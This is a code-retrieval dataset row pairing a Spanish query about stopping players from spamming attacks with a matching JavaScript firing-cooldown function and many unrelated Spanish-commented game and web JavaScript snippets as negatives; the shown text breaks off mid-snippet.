query_id
stringlengths
32
32
query
stringlengths
7
29.6k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
39bde5d1115c4f5d0bf84e737feabe88
no le permite al jugador "espamear" los ataques e incita a que los intercale
[ { "docid": "986381ec923f6f3140b657cc4376ce75", "score": "0.5574603", "text": "disparar() {\n if (this.contadorRecargaL < 20) {\n this.contadorRecargaL++\n }\n if (this.contadorRecargaP < 40) {\n this.contadorRecargaP++\n }\n if (((this.estado >= 6 && this.estado <= 8) &&\n this.contadorRecargaP === 40) && this.contadorRecargaL > 15) {\n this.disparando = 1;\n this.contadorRecargaP = 0;\n }\n if (((this.estado === 9 || this.estado === 10) &&\n this.contadorRecargaL === 20 && this.contadorRecargaP > 10)) {\n this.disparando = 2;\n this.contadorRecargaP = 0;\n }\n }", "title": "" } ]
[ { "docid": "aa3d255b337debbe50e5d2e15b50bc80", "score": "0.64404476", "text": "function continuarJugando(){\n\n\t// variable para identificar cuantos personajes quedan de cada uno\n\tlet contCanibalesDerecha = 0;\n\tlet contMisionerosDerecha = 0;\n\tlet contCanibalesIzquierda = 0;\n\tlet contMisionerosIzquierda = 0;\n\tlet numAzar = 0;\n\t\n\t// verificando el lugar en donde se encuentra la barca para contar los canibales que esta contiene\n\n\t\tcontCanibalesDerecha = $('#fragmentoTierraDer').find(\".canibales\").length;\n\t\tcontMisionerosDerecha = $('#fragmentoTierraDer').find(\".misioneros\").length;\n\t\tcontCanibalesIzquierda = $('#fragmentoTierraIzq').find(\".canibales\").length;\n\t\tcontMisionerosIzquierda = $('#fragmentoTierraIzq').find(\".misioneros\").length;\n\t\n\t\n\n\t//tambien hay que sumar los canibales de la barca\n\tif(ladoBarca == DERECHA){\n\t\tcontCanibalesDerecha += $('#barca').find(\".canibales\").length;\n\t\tcontMisionerosDerecha += $('#barca').find(\".misioneros\").length;\n\t}else{\n\t\tcontCanibalesIzquierda += $('#barca').find(\".canibales\").length;\n\t\tcontMisionerosIzquierda += $('#barca').find(\".misioneros\").length;\n\t}\n\t\tconsole.log(contCanibalesDerecha);\n\tconsole.log(contMisionerosDerecha);\n\tconsole.log(contCanibalesIzquierda);\n\tconsole.log(contMisionerosIzquierda);\n\t// verificando si hay mas canibales que misioneros del lado de la barca\n\tif(contCanibalesDerecha > contMisionerosDerecha && contMisionerosDerecha > 0 ){\n\n\t\t// obteniendo un numero al azar para obtener uno de los modals del perdedor\n\t\tnumAzar = Math.round(Math.random())+1;\n\n\t\t// mostrando el modal y reproduciendo el audio\n\t\t$('#modalPerdedor'+numAzar).css('display', 'block');\n\t\t$('#modalPerdedor'+numAzar).find('audio')[0].play();\n\t\t\n\t\treturn false;\n\t}else if(contCanibalesIzquierda > contMisionerosIzquierda && contMisionerosIzquierda > 0){\n\t\t\n\n\t\tnumAzar = Math.round(Math.random())+1;\n\n\t\t$('#modalPerdedor'+numAzar).css('display', 'block');\n\t\t$('#modalPerdedor'+numAzar).find('audio')[0].play();\n\t\t\n\t\treturn false;\n\n\t}else{\n\t\treturn true;\n\n\t}\n\n}", "title": "" }, { "docid": "be56eb3e5efa745862dc216e6dcd786e", "score": "0.6254943", "text": "function avanzarEtapa() {\n\tif (pasoActual == ejercitacion.length - parseInt(1)) {\n\t\tfinalEjercicio();\n\t} else {\n\t\tdocument.getElementById('contenedorejercicio').innerHTML = ' ';\n\t\tdocument.getElementById('contenedorejercicio2').innerHTML = ' ';\n\t\t//tengo que eliminar el contenido de este div contenedorejercicio\n\t\tpasoActual++;\n\t\tgenerarImagenes(ejercitacion, pasoActual); //si no es el final vuelvo a generar otra opcion\n\t}\n}", "title": "" }, { "docid": "1d3bac0c5a623e993e259cea143a65e9", "score": "0.6236098", "text": "function reiniciarInt() {\n\t\tpilaAccHechas = [];\n\t\tpilaAccDes = [];\n\t\t\n\t\tfor (i in ids) {\n\t\t\tvar id = ids[i];\n\t\t\tdocument.getElementById(id).src = IMG_ACCION_BLANCO;\n\t\t\tmatriz[id] = ACCION_EN_BLANCO;\n\t\t\tvalorAnterior[id] = ACCION_EN_BLANCO;\n\t\t}\n\t}", "title": "" }, { "docid": "b0edd2c8ad3d5d3f06342068a868fec8", "score": "0.6151667", "text": "function irComputadores() {\n // Eliminar la clase Activa de los enlaces y atajos\n eliminarClaseActivaEnlances(enlaces, 'activo');\n eliminarClaseActivaEnlances(atajosIcons, 'activo-i');\n // Añadimos la clase activa de la seccion de Coputadores en los enlaces y atajos\n añadirClaseActivoEnlaces(enlaceComputadores, 'activo');\n añadirClaseActivoEnlaces(atajoComputadores, 'activo-i');\n // Crear contenido de la Seccion\n crearContenidoSeccionComputadores();\n // Abrir la seccion \n abrirSecciones();\n}", "title": "" }, { "docid": "f5fbedbb4cc60b26ccf997fb65df12eb", "score": "0.6131617", "text": "async function botGeraOcorrenciasIniciais() {\n geraOcorrenciasIniciais().then((ret)=>{\n if(ret.rowsAffected>0){\n ocorrenciasIniciaisIncluidas++\n sendLog('AVISO',`Ocorrências Iniciais - Incluidas (${ret.rowsAffected})`)\n }\n x_botGeraOcorrenciasIniciais += ret.rowsAffected\n }) \n ++checks\n setTimeout(botGeraOcorrenciasIniciais,(check_time*3)) // (10000*3) = A cada 30 segundos\n}", "title": "" }, { "docid": "c1d7262136c364585910968a5889da16", "score": "0.61308867", "text": "function meInteresaOferta() {\n\t\t\n\t\tvar context;\n\t\tvar latestResponse = watson_Watson.getResponsePayload();\n\n\t\tif (latestResponse) {\n\t\t\tcontext = latestResponse.context;\n\t\t\tcontext.noesmidireccion = true;\n\t\t}\n\t\t// -Inicio- Redirección cuando se introduce el número fijo\n\t\tvar enlaceaTienda; // Enlace al que redirigir\n\t\tif (context && context != \"undefined\" && context != ''){\n\t\t\t\tenlaceaTienda = context.enlaceaTienda;\t\t\n\t\t}\n//\t\tif (includes(codPromo,\"PROMO_CODE\")){\n\t\t\tenlaceaTienda = enlaceaTienda+\"&\"+codPromo;\n//\t\t}\n//\t\tfunction includes(codPromo, value) {\n//\t\t\tvar returnValue = false;\n//\t\t\tvar pos = codPromo.indexOf(value);\n//\t\t\tif (pos >= 0) {\n//\t\t\t\treturnValue = true;\n//\t\t\t}\n//\t\t\treturn returnValue;\n//\t\t}\n\t\t\t$('#watson__input__btn').addClass(\"enlaceInhabilitado\");\n\t\t\t$('#textInputchat').addClass(\"enlaceInhabilitado\");\n\t\t\tvar data = {};\n\t\t\tdata.output = {};\n\t\t\tdata.output.text = [\"¡Ya tenemos todo lo necesario! te estamos redirigiendo a la tienda para continuar con el proceso de contrataci&oacute;n\"];\n\t\t\tvar type = 'watson';\n\t\t\twatson_ConversationPanel.displayMessage(data, type);\n\t\t\twatson_ConversationPanel.showLoading();\n\t\t\tsetTimeout(delay, 3000);\n\t\t\tfunction delay() {\n\t\t\t\twindow.open(enlaceaTienda, '_self');\n\t\t\t\t}\n\t}", "title": "" }, { "docid": "f244e9c503562897eda8ecbe89b8b2d9", "score": "0.60796773", "text": "function comprobar() {\n cant = 0; // En cada comprobación reiniciamos\n comprobarSolicitudes();\n comprobarRespuestas();\n}", "title": "" }, { "docid": "848159ec8bf73dbd36fc44181d237861", "score": "0.6053148", "text": "atualiza() {\n const intervaloDeFrames = 10;\n const passouIntervalo = frames % intervaloDeFrames === 0;\n if (pontosExtras != 0) {\n placar.pontuacao+=pontosExtras;\n pontosExtras=0;\n }\n if(passouIntervalo) {\n placar.pontuacao++;\n }\n if (placar.pontuacao > melhorPontuacao) {\n melhorPontuacao = placar.pontuacao;\n }\n }", "title": "" }, { "docid": "c17c6c9ec53a18a56c600ce7ef3f57d0", "score": "0.605195", "text": "function habilitaAtaqueListener() {\n if (!partida.getTurnoJugador()) {\n\n // No se puede atacar al entrenador si el oponente tiene cartas sobre el campo\n if (this.carta.getNombreFoto() == partida.getJugador2().getEntrenador().getNombreFoto() &&\n partida.getJugador2().campoLength() > 0) {\n addText(4);\n return;\n\n } else {\n this.carta.setHabilitaAtaque(true);\n }\n\n } else {\n // Aviso debes esperar a tu turno\n addText(2);\n return;\n }\n}", "title": "" }, { "docid": "defd9954896e4b3e7030e15783b4687a", "score": "0.6049843", "text": "function erantzun(jasotakobalioa){\n\n var balioa = parseInt(jasotakobalioa);\n var puntuak = parseInt(getBalioa(\"puntuak\"));\n//\tparseInt($(\"#puntuak\").html(\"\")) + 5;\n\t\n\tvar erantzuna = parseInt(getBalioa(\"asmatu\"));\n\t //console.log(erantzuna + \" \" + balioa );\n\t\tif (erantzuna == balioa){\n\t\t puntuak = puntuak + 5;\n var as = parseInt(getBalioa(\"asmatutakoak\"));\n as = as + 1;\n setBalioa(\"asmatutakoak\",as);\n\t\t}else{\n\t\t\tpuntuak = puntuak - 2;\n\t\t}\n\t\t\n\t\t\n erantzunkop = parseInt(getBalioa(\"erantzundakoak\"));\n console.log(erantzunkop);\n \n setBalioa(\"puntuak\",puntuak);\n $(\"#marka\").html(puntuak);\n if (erantzunkop == 31){\n emaitzakErakutsi();\n }else{\n\t\t galderaAurrera();\n \n\t\t//console.log(puntuak);\n //2-0rako idea>galdera erantzun duela markatu array batean gero nabigatzen ez uzteko\n erantzunkop = erantzunkop + 1; \n setBalioa(\"erantzundakoak\",erantzunkop);\n \n }\n\n}", "title": "" }, { "docid": "c1e001e8a19ecaecf64f13136789b749", "score": "0.6042778", "text": "function preencheDados() {\n\n}", "title": "" }, { "docid": "8fc950526051d449c91f76f3734c5fe7", "score": "0.6023478", "text": "function palabraEjercitada() {\n\t//Me almaceno la palabra correcta que el estudiante ejercito\n\tvar nropaso = parseInt(pasoActual) - parseInt(1); //se tiene en cuenta el desplazamiento\n\tlet palabra = cuento.palabrasobjetivo[parseInt(nropaso)];\n\tpalabrasEjercitadas.push(palabra);\n}", "title": "" }, { "docid": "b5e8e8dd76c0e375d55463be0c5fb342", "score": "0.60085195", "text": "function CorrigePericias() {\n for (var chave in tabelas_pericias) {\n var achou = false;\n for (var i = 0; i < gEntradas.pericias.length; ++i) {\n var entrada_pericia = gEntradas.pericias[i];\n if (entrada_pericia.chave == chave) {\n achou = true;\n break;\n }\n }\n if (!achou) {\n gEntradas.pericias.push({ 'chave': chave, pontos: 0 });\n }\n }\n}", "title": "" }, { "docid": "76087eb85ec6608595e4677fbc61245c", "score": "0.5985652", "text": "function pelinAloitus() {\n\n nimiSpan.textContent = nimi;\n pisteetSpan.textContent = tulostaPisteet();\n document.body.style.backgroundColor = \"#ffc107\";\n\n // Asetetaan pelaajan sijainti pelin alussa:\n pelaaja.korkeus = 2;\n pelaaja.leveys = 2;\n\n // Asetetaan pelaajan kuvake nakymaan:\n pelaajakuvakkeenAsetus(true);\n\n // Asetetaan aarteiden sijainnit pelin alussa:\n aarre0.korkeus = 1;\n aarre0.leveys = 2;\n\n aarre1.korkeus = 2;\n aarre1.leveys = 1;\n\n aarre2.korkeus = 3;\n aarre2.leveys = 2;\n\n aarre3.korkeus = 3;\n aarre3.leveys = 3;\n\n // Asetetaan aarteiden kuvakkeet nakymaan:\n for (let index = 0; index < aarteet.length; index++) {\n aarrekuvakkeenAsetus(index);\n }\n}", "title": "" }, { "docid": "e4a5619e247b27d3d79b678dba26815b", "score": "0.5984916", "text": "function creditoAnterior(){\n if(inidiceCreditos>1)\n inidiceCreditos--;\n cargarCreditos();\n KPTF.consola(\"Anterior indiceCreditos: \"+inidiceCreditos);\n}", "title": "" }, { "docid": "365b0d5d68488f2515f9c3fffc54e05e", "score": "0.59520537", "text": "function movePeca(elemento) {\n\tvar i = Number(elemento.id.substr(1,1));\t\t\t\t\t\t\t// pega linha a partir da id do elemento (ex. \"p02\")\n\tvar j = Number(elemento.id.substr(2,1));\t\t\t\t\t\t\t// pega coluna a partir da id do elemento\n\tvar novoi = i, novoj = j;\n\n// testa em qual direção a peça escolhida pode ser movida \n// o valor \"9\" indica o espaço em branco\n\tif (i > 0 && estado[i-1][j] == \"9\")\n\t\tnovoi = i-1;\n\telse if (i < 2 && estado[i+1][j] == \"9\")\n\t\tnovoi = i+1;\n\telse if (j > 0 && estado[i][j-1] == \"9\")\n\t\tnovoj = j-1;\n\telse if (j < 2 && estado[i][j+1] == \"9\")\n\t\tnovoj = j+1;\n\n\tif (novoi == i && novoj == j)\n\t\talert(\"Impossível mover peça \"+estado[i][j]);\n\telse {\n\t\ttrocaPeca(estado,i,j,novoi,novoj);\n\t\tmovimentos++;\n\t\tdocument.getElementById(\"movimentos\").innerHTML = movimentos;\n\t\texibeEstado(estado);\n\t\tif (comparaEstados(estado,meta)) {\n\t\t\talert(\"Resolvido em \"+movimentos+\" movimentos. Parabéns!\"); \n\t\t\tmovimentos = 0;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4bd4a8307d26a236c7a3862ee8fbfb7a", "score": "0.5929236", "text": "static queEres(){\n console.log('Los perros somos animales mamiferos que pertenecemos a la familia de los caninos. Somos considerados los mejores amigos del hombre');\n }", "title": "" }, { "docid": "d19c0ae6adc597bbadfe70172cb9230d", "score": "0.5919857", "text": "static _andarInimObst() {\n\t\t//andar obstaculos\n\t\tControladorJogo._controladoresObstaculos.forEach(controladorObsts => controladorObsts.andarObstaculos());\n\n\t\t//andar inimigos\n\t\tControladorJogo._controladoresInimigos.forEach(controladorInims => controladorInims.andarInimigos());\n\t}", "title": "" }, { "docid": "6e09fc7c7971afc3476979c46b802440", "score": "0.59187007", "text": "function imprimir1() {\n var indexCohete = findCohete(\"1\");\n if (indexCohete !== undefined) {\n var mensaje = \"C\\u00F3digo del cohete = \" + cohetesArray[indexCohete].codigo +\n \"<br><br>\" +\n (\"Potencia Actual del Cohete = \" + cohetesArray[indexCohete].potenciaActual) +\n \"<br><br>\" +\n \"Potencias máximas de los propulsores: \";\n var mensaje1 = [];\n for (var _i = 0, _a = cohetesArray[indexCohete].propulsoresArray; _i < _a.length; _i++) {\n var item = _a[_i];\n mensaje1.push(item.potenciaMaximaPropulsor);\n }\n mensaje += mensaje1.toString();\n document.getElementById(\"resultado\").innerHTML = mensaje;\n }\n else {\n alert(\"Aún no se ha creado el cohete 1\");\n }\n}", "title": "" }, { "docid": "31be9738c45c640c5e836e9c8abaf348", "score": "0.5913291", "text": "function irTransferencias() {\n // Eliminar la clase Activa de los enlaces y atajos\n eliminarClaseActivaEnlances(enlaces, 'activo');\n eliminarClaseActivaEnlances(atajosIcons, 'activo-i');\n // Añadimos la clase activa de la seccion de transferencias generales en los enlaces y atajos\n añadirClaseActivoEnlaces(enlaceTransferencias, 'activo');\n añadirClaseActivoEnlaces(atajoTransferencias, 'activo-i');\n // Crear contenido de la Seccion\n crearContenidoSeccionTransferencias();\n // Abrir la seccion \n abrirSecciones();\n}", "title": "" }, { "docid": "78b6505240a582302256456b83a68b1b", "score": "0.5909955", "text": "function limpiar(){\n\t\t\n\t\talert(\"¡Comienza el juego!\");\t\n\t \n\t for (var i = 0; i <= 9; i++) {\n\t \tarrJuego[i]=0;\n\t \tvar inicio = document.getElementById(\"celda\"+i);\n\t \tinicio.src = arrImg[0];\n\t \tjugada = 0;\n\t \tganador = false;\n\t } \t\n\n\t}", "title": "" }, { "docid": "5955047e12e185e5a9b54c40e1cc987a", "score": "0.59060395", "text": "function vuelta(){\n userAnswer = document.getElementById(\"respuesta\").value.toLowerCase()\n if (questions[i].status === 0){\n if (userAnswer === questions[i].answer){\n alert(\"Correcto\")\n questions[i].status = \"correct\"\n countCorrect ++\n }\n else if (userAnswer === \"pasapalabra\"){\n alert(\"Pasamos a la siguiente letra\")\n if (segundaVuelta === false){\n saveLetters.push(i)\n }\n }\n else if (userAnswer === \"end\"){\n alert(\"Gracias por participar al juego de Pasapalabra\")\n }\n else {\n alert(\"Tu respuesta es incorrecta\")\n questions[i].status = \"incorrect\"\n countIncorrect ++\n }\n cambiarColor(questions[i].letter);\n }\n // si el usuario introduce \"end\" se acaba la partida y se llama a la funcion \"finalizar\"\n if (userAnswer === \"end\" || countCorrect+countIncorrect === 25){\n i = questions.length\n finalizar();\n }\n //Se comprueba si ya ha acabado la primera vuelta o no\n else {\n document.getElementById(\"respuesta\").value=\"\"\n if (i===24 && segundaVuelta===false){\n segundaVuelta = true\n i=saveLetters[0]\n document.getElementById(\"preguntas\").innerHTML = questions[i].question\n }\n // cuando se empieza la segunda vuelta cambiamos el valor de la i para que coja solo las \"pasapalabras\"\n else if(segundaVuelta === true){\n if(questions[saveLetters[j]].status === \"incorrect\" || questions[saveLetters[j]].status === \"correct\"){\n saveLetters.splice(j,1)\n if(saveLetters.length > 1 && saveLetters.length !== j){\n i = saveLetters[j]\n }\n else{\n i = saveLetters[0]\n j=0\n }\n }\n else{\n if(saveLetters.length > 1 && saveLetters[saveLetters.length-1] !== i){\n j++\n i = saveLetters[j]\n }\n else{\n i = saveLetters[0]\n j=0 \n }\n }\n document.getElementById(\"preguntas\").innerHTML = questions[i].question\n }\n else{\n\n document.getElementById(\"preguntas\").innerHTML = questions[i+1].question\n i++\n }\n }\n}", "title": "" }, { "docid": "6e89ab2a370df6cf4c526cac2db1faf7", "score": "0.5883076", "text": "function pendu(mot) {\r\n let motPendu = [];\r\n let vide = [];\r\n let lettresTentees = [];\r\n let nombreVies = 6;\r\n let joueurs = [];\r\n let nombreJoueurs = +prompt(\"combien de joueurs ?\"); // Nombre des joueurs\r\n let joueurActuel;\r\n\r\n for (let i = 0; i <= nombreJoueurs; i++) {\r\n joueurs.push(i);\r\n }\r\n joueurActuel = joueurs[1]; // introduire dans une variable le joueur actuel\r\n\r\n for (let i = 0; i < mot.length; i++) {\r\n motPendu.push(mot[i]);\r\n vide.push(\"_\");\r\n }\r\n\r\n confirm(\"joueur \" + joueurActuel + \" c'est parti !\");\r\n\r\n while (String(vide) != String(motPendu)) {\r\n //a défaut d'avoir un autre moyen de comparer les listes\r\n\r\n let lettre = prompt(\r\n `le mot a trouver est: ${vide} \\n entrez, vous avez déja essayé: ${lettresTentees} \\n nombre de vies : ${nombreVies}`\r\n ).toLowerCase();\r\n\r\n if (lettre == null) {\r\n confirm(\"Vous avez arrêter la partie\");\r\n break;\r\n }\r\n\r\n let trouve = false;\r\n\r\n if (verifie(lettre)) {\r\n lettresTentees.push(lettre);\r\n for (let i = 0; i < motPendu.length; i++) {\r\n if (lettre == motPendu[i]) {\r\n vide[i] = motPendu[i];\r\n trouve = true;\r\n }\r\n }\r\n if (trouve == false) {\r\n nombreVies -= 1;\r\n joueurActuel += 1; // Quand le joueur se trompe, c'est le tour du suivant\r\n if (joueurActuel === joueurs.length) {\r\n joueurActuel = joueurs[1];\r\n }\r\n\r\n if (nombreVies == 0) {\r\n alert(`perdu, le mot a trouver etait: ${mot}`);\r\n break;\r\n }\r\n\r\n confirm(\"Joueur \" + joueurActuel + \" c'est à toi !\");\r\n }\r\n\r\n trouve = false;\r\n if (String(vide) == String(motPendu)) {\r\n alert(\r\n \"Bravo! Joueur \" + joueurActuel + ` le mot a trouver etait: ${mot}`\r\n );\r\n break;\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "ce1573be0ec8f1d5733e10a2c6a6890c", "score": "0.5859242", "text": "asignarMissiones(){\n\t\tfor(let i = 0; i < this.usuarios.length; i++){\n\t\t\tthis.usuarios[i].getTripulacion().setMissiones(new Missiones());\n\t\t}\n\t}", "title": "" }, { "docid": "9393193034c687898c769635ec9a03d4", "score": "0.58588487", "text": "movJugadorCasilla(i,ficha,casilla,entra,value){\n\t\t//MONTECARLO\n\n\t\tlet casilla2 = casilla\n\t\tlet origen = i*17\n\n\t\tconsole.log(\"valor de casilla2: \" + casilla2)\n\t\tconsole.log(\"valor de entra: \" + entra)\n\t\tif(entra === \"meta\"){\n\t\t\tswitch(this.player[i].gcolor()){\n\t\t\t\tcase \"azul\":\n\t\t\t\t\tcasilla2 = casilla2 - 200;\t\n\t\t\t\tcase \"roja\":\n\t\t\t\t\tcasilla2 = casilla2 - 300;\n\t\t\t\tcase \"verde\":\n\t\t\t\t\tcasilla2 = casilla2 - 400;\t\t\t\t\n\t\t\t\tcase \"amarilla\":\n\t\t\t\t\tcasilla2 = casilla2 - 500;\n\t\t\t}\n\n\t\t\tif(origen === 0) origen = this.numCasillas\n\t\t\tcasilla2 = origen + casilla2 + 1\n\t\t}\n\n\t\tif (!this.porParejas || (this.porParejas && this.player[i].fin !== 4)){\n\t\t\tlet diff = casilla2 - this.pos[i][ficha]\n\t\t\tconsole.log(\"Casilla2 \" + casilla2 + \" origen \" + origen + \" \" + \" posicion \" + this.pos[i][ficha])\n\t\t\tconsole.log(\"Se pushea \" + ficha + \" \" + diff + \" \" + i)\n\t\t\tthis.historialGlobalPartida.push(new Jugada(ficha, diff))\n\t\t}\n\t\telse if(this.porParejas && this.player[i].fin === 4){\n\t\t\tlet diff = casilla2 - this.pos[(i+this.MAX/2)%this.MAX][ficha]\n\t\t\tconsole.log(origen + \" \" + casilla2 + \" \" + diff)\n\t\t\tconsole.log(\"Parejas \" + ficha + \" \" + diff)\n\t\t\tthis.historialGlobalPartida.push(new Jugada(ficha, diff))\n\t\t}\n\t\tthis.puedeTirar = false\n\t\tlet diff = casilla2 - this.pos[i][ficha]\n\t\tthis.historialGlobalPartida.push(new Jugada(ficha, diff))\n\n\t\tthis.lastMove=ficha\n\t\tif(this.casa[i][ficha] === \"FUERA\" || this.casa[i][ficha] === \"META\"){\n\t\t\tlet po1 = (this.pos[i][ficha]-1);\n\t\t\tif(po1<0) po1=this.numFichas - 1;\n\t\t\tif(this.casa[i][ficha] === \"FUERA\") this.casilla[po1].sacar(this.player[i].gcolor());\n\t\t\telse this.meta[i][po1].sacar(this.player[i].gcolor());\n\t\t}\n\t\tthis.pos[i][ficha] = casilla;\n\t\tif(entra == \"meta\"){\n\t\t\tthis.pos[i][ficha]=(this.pos[i][ficha]+1)%100;\n\t\t\tif(this.pos[i][ficha]>8)this.pos[i][ficha]=8\n\t\t\tif(this.pos[i][ficha]==8) {\t//ha llegado\n\t\t\t\tthis.casa[i][ficha]=\"METIDA\";\n\t\t\t\tthis.player[i].meter();\n\t\t\t\tthis.act2jugadores(value)\n\t\t\t\tthis.actTurno(false);\n\t\t\t\t\n\t\t\t\tthis.esMeta=true;\n\t\t\t\tthis.segundaTirada=true\n\t\t\t\tthis.matadoMetidoAntes=\"mete\"\n\t\t\t\treturn {accion: \"meta\", color: this.player[i].gcolor(),estado: \"METIDA\"}\n\t\t\t}else{\n\t\t\t\tlet aux = \"META\"\n\t\t\t\tif(this.casa[i][ficha] === \"FUERA\") aux = \"ENTRA\" \n\t\t\t\tthis.meta[i][this.pos[i][ficha]-1].introducir(this.player[i].gcolor(),this.player[(i+this.MAX/2)%this.MAX].gcolor());\n\t\t\t\tthis.casa[i][ficha]=\"META\";\n\t\t\t\tthis.act2jugadores(value)\n\t\t\t\tthis.actTurno(true);\n\t\t\t\t\n\t\t\t\tthis.esMeta=true;\n\t\t\t\tthis.segundaTirada=false\n\t\t\t\tthis.matadoMetidoAntes=null\n\t\t\t\treturn {accion: \"nada\", estado:aux}\n\t\t\t}\n\t\t}else{\n\t\t\t\n\t\t\tthis.esMeta=false;\n\t\t\tlet po2 = (this.pos[i][ficha]-1);\n\t\t\tif(po2<0) po1=this.numFichas - 1;\n\t\t\tlet s = this.casilla[po2].introducir(this.player[i].gcolor(), this.player[(i+this.MAX/2)%this.MAX].gcolor());\n\t\t\tif(this.casa[i][ficha]=\"CASA\") {\n\t\t\t\tthis.player[i].sacar();\n\t\t\t\tthis.casa[i][ficha]=\"FUERA\";\n\t\t\t}\n\t\t\tthis.act2jugadores(value)\n\t\t\tif(s!=\"NO\") {\n\t\t\t\tthis.muerto(s,this.pos[i][ficha])\n\t\t\t\tthis.segundaTirada=true\n\n\t\t\t//this.haMovido = true\n\t\t\t\t//ACTUALIZAR ESTADO DE LA FICHA MUERTA A CASA .... ********************************************************\n\t\t\t\t\n\t\t\t\tthis.actTurno(false);\n\t\t\t\tthis.matadoMetidoAntes = \"mata\"\n\t\t\t\treturn {accion: \"mata\", color: this.player[i].gcolor(),estado: \"FUERA\"}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tthis.matadoMetidoAntes = null\n\t\t\t}\n\n\t\t\t//this.haMovido = true\n\t\t\tthis.segundaTirada=false\n\t\t\tthis.actTurno(true);\n\t\t\treturn {accion: \"nada\",estado: \"FUERA\"}\n\t\t}\n\t}", "title": "" }, { "docid": "63c99915dbfc5d2bf5549822595a530b", "score": "0.5853284", "text": "function indicaciones_izquierda(){\n console.log(\"Seguir recto una cuadra\");\n console.log(\"Cruzar a la izquierda\");\n}", "title": "" }, { "docid": "f8d595a9dbcc34e5233fc8190e2f2a2f", "score": "0.58491445", "text": "function asignar() {\n var democratas = app.datosCongress.filter(function (miembros) { if (miembros.party == \"D\") { return miembros } })\n var republicanos = app.datosCongress.filter(function (miembros) { if (miembros.party == \"R\") { return miembros } })\n var independientes = app.datosCongress.filter(function (miembros) { if (miembros.party == \"I\") { return miembros } })\n var diezPorciento = parseInt((app.datosCongress.length * 10) / 100);\n app.estadisticas.democrats.cantidadRepresentantes = democratas.length;\n app.estadisticas.republicans.cantidadRepresentantes = republicanos.length;\n app.estadisticas.indepent.cantidadRepresentantes = independientes.length;\n app.estadisticas.democrats.porcentajeDeVotos = porcentaje(democratas);\n app.estadisticas.republicans.porcentajeDeVotos = porcentaje(republicanos);\n app.estadisticas.indepent.porcentajeDeVotos = porcentaje(independientes);\n app.estadisticas.menosLeales = menosLeales(app.datosCongress, diezPorciento);\n app.estadisticas.masLeales = masLeales(app.datosCongress, diezPorciento);\n app.estadisticas.menosComprometidos = menosComprometidos(app.datosCongress, diezPorciento);\n app.estadisticas.masComprometidos = masComprometidos(app.datosCongress, diezPorciento);\n }", "title": "" }, { "docid": "0dc0c640f2c9d7f4dbf21eec625878ce", "score": "0.583927", "text": "function reinicio(){\r\n //ponemos los valores de la cuadricula a '0'\r\n limpiarCuadricula()\r\n //reiniciamos la velocidad:\r\n velocidad=1000\r\n //llamamos a una nueva pieza:\r\n tetromino=nuevaPieza()\r\n //pasamos los valores de la pieza a la cuadrícula:\r\n tetrominoACuadricula(tetromino,coorUsuario.x,coorUsuario.y)\r\n //pintamos la cuadricula según sus valores:\r\n dibujar()\r\n // falta reiniciar la puntuación\r\n puntuacion=0\r\n document.getElementById(\"puntuacion\").innerHTML = \"Puntuación:<br>\" + puntuacion\r\n document.getElementById(\"mensaje\").innerHTML = \"<br>\"\r\n}", "title": "" }, { "docid": "101f6420d8c899d0bbf1d20df592a3a0", "score": "0.58391577", "text": "function accion(boton){\n var selfPregunta;\n var selfRespuesta;\n var selfValor;\n\n for (var j = 0; j < encuesta.preguntas.length; j++) {\n if ($(boton).attr(\"data-idQuestion\") == encuesta.preguntas[j].id) {\n selfPregunta = encuesta.preguntas[j];\n for (var i = 0; i < selfPregunta.respuestas.length; i++) {\n if ($(boton).attr(\"data-idResponse\") == selfPregunta.respuestas[i].id) {\n selfRespuesta = selfPregunta.respuestas[i];\n }\n }\n }\n }\n selfValor = selfRespuesta.value;\n setPuntuacion(selfValor);\n limpiarSalida();\n // si el numero de preguntas impresas es igual al total de preguntas de esa encuesta, sacamos el resultado\n if (this.printed == encuesta.preguntas.length){\n imprimirSolucion(this.pos);\n } else {\n imprimirPreguntas(getEPos(), this.pos, getPPos());\n }\n}", "title": "" }, { "docid": "0d6a333a90628a90a021822edb75c17e", "score": "0.5828147", "text": "function sumaEnemigo() {\n // No hemos llegado al maximo para sumar una vida\n if (enemigosMuertos != enemigosParaVida) {\n Q.state.inc(\"totalEnemigosMuertos\", 1);\n }\n // Caso en el que hemos llegado al numero para sumar una vida\n else {\n // Reinicio los contadores\n Q.state.dec(\"totalEnemigosMuertos\", enemigosMuertos);\n enemigosMuertos = 0;\n\n // Para que el jugador no se infle a vidas\n if (vidas < maxVida) {\n // Le sumo una vida\n Q.state.inc(\"totalVidas\", 1);\n }\n\n\n }\n }", "title": "" }, { "docid": "7c19ad315ce14bcaa45fc0ad2d1d57cb", "score": "0.5825183", "text": "function encerrar() {\n\tvar elem = document.getElementById(\"questao\");\n\telem.innerHTML = '<b>Acabou!</b> Voce fez <b>' + pontos + ' pontos</b>, de ' + qttQuestao + ' possíveis.<hr id=\"final\">';\n\n\tvar porcentagem = pontos/qttQuestao;\n\n\t// muda a reacao do final, dependendo dos acertos\n\tif (porcentagem == 1) {\n\t\telem.innerHTML += \"O cara é bom! Gabaritou tudo :)\";\n\t} else if (porcentagem >= 0.5) {\n\t\telem.innerHTML += \"Show, passou sem recuperação!\";\n\t} else if (porcentagem >= 0.3) {\n\t\telem.innerHTML += \"Quebrou o pré, mas vai precisar fazer a recuperação...\"\n\t} else {\n\t\telem.innerHTML += \"Você foi reprovado :(\";\n\t}\n\n\t// insere o botao de reiniciar jogo\n\telem.innerHTML += '<br><button onclick=\"comecarJogo();\">Recomeçar</button>';\n\n}", "title": "" }, { "docid": "a789f3e90a5eb4cfa1acbcc34a607102", "score": "0.5824278", "text": "function msgEstrelas() {\n if (premio === 0) {\n contEstrelas = contEstrelas.text('. E não ganhou estrelas.');\n } else if (premio === 1) {\n contEstrelas = contEstrelas.text('. E ganhou ' + premio + ' estrela.');\n } else if (premio > 1) {\n contEstrelas = contEstrelas.text('. E ganhou ' + premio + ' estrelas.');\n };\n }", "title": "" }, { "docid": "032be4be2476560b7298eeda316f067d", "score": "0.5803211", "text": "function comprar(objeto) {\n\n //comrpar con dinero suficiente\n if (galletas >= precioProducto[objeto]) {\n inventario[objeto]++;\n galletas -= precioProducto[producto];\n\n } else {\n console.log(\"No tienes suficiente dinero\");\n }\n\n}", "title": "" }, { "docid": "ce00c9b5c888c395007d9d569eea2de8", "score": "0.58017623", "text": "function iniciar_cuy(ganador,TIEMPO_RANDOM) {\n posicion_ganador = 